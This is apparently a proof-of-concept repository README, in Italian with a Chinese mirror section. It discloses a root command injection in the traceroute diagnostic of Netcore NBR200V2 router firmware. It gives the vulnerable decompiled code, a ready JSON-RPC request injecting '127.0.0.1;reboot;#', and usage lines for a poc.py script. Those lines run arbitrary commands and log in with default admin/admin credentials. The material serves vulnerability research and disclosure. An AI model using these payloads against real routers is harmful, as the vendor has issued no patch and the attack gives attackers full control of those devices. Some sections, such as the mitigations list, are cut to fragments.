
PoC per CVE-2026-94095, un'iniezione di comandi traceroute nel firmware Netcore NBR200V2 tramite ubus JSON-RPC, che consente RCE come root per test autorizzati.
| Campo | Valore |
|---|---|
| Vendor | Netcore |
| Modello | NBR200V2 |
| Versione Firmware | V1.3.241127.071246 |
| Componente interessato | /usr/bin/network_tools |
| Tipo di vulnerabilità | OS Command Injection (CWE-74 / CWE-77) |
| CVSS 3.1 | 9.9 (Critico) |
| Vettore di attacco | Remoto (ubus JSON-RPC) |
| Prerequisito | Endpoint ubus raggiungibile + una sessione a bassi privilegi (sid) |
| Stato del vendor | Contattato in anticipo; nessuna risposta; nessuna patch al momento della divulgazione |
Il firmware V1.3.241127.071246 del Netcore NBR200V2 contiene una vulnerabilità di iniezione di comandi remoti nella funzionalità di diagnostica traceroute. Il gestore del traceroute accetta un valore url controllato dall'attaccante tramite ubus JSON-RPC, lo concatena in un comando shell ed esegue il comando risultante. Un attaccante remoto può sfruttare questa falla per eseguire comandi shell arbitrari, riavviare il dispositivo o ottenere il pieno compromesso del sistema.
La richiesta remota viene accettata come ubus JSON-RPC:
POST /ubus {"jsonrpc":"2.0","id":20,"method":"call","params":["<sid>","network_tools","tools_traceroute",{"action":"start","url":"<attacker-controlled>","max_hop":1,"wanid":0}]}
La mappatura del metodo ubus instrada la richiesta a sub_401BD8:
object.name = "network_tools"; object.methods = 0x412f4c; "tools_traceroute" -> sub_401BD8
sub_401BD8 analizza i dati JSON-RPC e li inoltra a tools_traceroute():
blobmsg_parse(&off_412FA4, 4, &v21, a5 + 4, (v6 & 0xFFFFFF) - 4);
...
v25[0] = v18; // action
v25[1] = v7; // url
v25[2] = _bswapsi2(*v8); // max_hop
...
result = tools_traceroute((int)v25);
tools_traceroute() costruisce un comando shell utilizzando il valore url non attendibile:
snprintf(
v4, 0x100u,
"(traceroute %s -m %d > %s && echo \"traceroute ending\" >> %s; touch %s)&",
v2, *(_DWORD *)(a1 + 8), "/tmp/traceroute.txt", "/tmp/traceroute.txt", "/tmp/.tracroute_end");
system(v4);
La vulnerabilità è strutturalmente identica al problema del ping, ma raggiunge un sink e un percorso di esecuzione diversi. Poiché viene utilizzato system(), i separatori di comando come ;, && e i commenti shell vengono rispettati. La funzionalità di diagnostica diventa quindi una primitiva di esecuzione di comandi generica.
POST /ubus
Content-Type: application/json
{"jsonrpc":"2.0","id":20,"method":"call","params":["<sid>","network_tools","tools_traceroute",{"action":"start","url":"127.0.0.1;reboot;#","max_hop":1}]}
Effetto previsto: il router esegue reboot durante l'elaborazione del job traceroute. Comandi shell arbitrari possono essere sostituiti a reboot.
Tutte e tre raggiungono lo stesso /usr/bin/network_tools; le funzioni di diagnostica in questo binario condividono lo stesso pattern non sicuro, quindi correggere un singolo punto di ingresso non è sufficiente.
Nessuna patch del vendor al momento della divulgazione. Mitigazioni temporanee:
Divulgazione da parte del ricercatore indipendente che ha pubblicato il write-up tecnico e coordinato (senza successo) con il vendor.
本仓库为 CVE-2026-94095(Netcore NBR200V2 traceroute 命令注入) 漏洞 PoC 的中转分发镜像(英文技术披露见上方 CVE-2026-94095.md)。内容依据公开披露文档整理,仅作存档与分发用途。PoC 仅供安全研究、漏洞验证与授权测试,请勿用于未授权目标。
/usr/bin/network_tools(traceroute 诊断功能)POST /ubus)核心原理:tools_traceroute() 用 snprintf 把攻击者可控的 url 参数拼进 shell 命令,再交给 system() 执行;url 未做任何过滤/转义,分号 ;、&&、管道、注释符 # 均有效——诊断功能因此变成通用命令执行原语。
CVE-2026-94095.md —— 公开披露整理(调用链、反编译片段、PoC 请求)
poc.py —— 可用 PoC 脚本(ubus JSON-RPC 注入,纯标准库)
POST /ubus 与一个有效 sid# 已有 sid:
python3 poc.py --target http://192.168.1.1 --sid <SESSION_ID> --cmd "id"
# 用账号口令获取 sid(弱口令/默认口令场景):
python3 poc.py --target http://192.168.1.1 --user admin --password admin --cmd "reboot"
⚠️ 命令会被拼接为
127.0.0.1;<命令>;#注入url参数;reboot会直接重启设备,请仅在授权/可销毁环境测试。
本 PoC 仅供教学、安全研究与授权测试使用,仅可对自有或获得明确授权的设备运行。利用会以设备最高权限执行任意命令(默认运行于 root 上下文),请在可销毁的实验室环境中测试。
LICENSE)。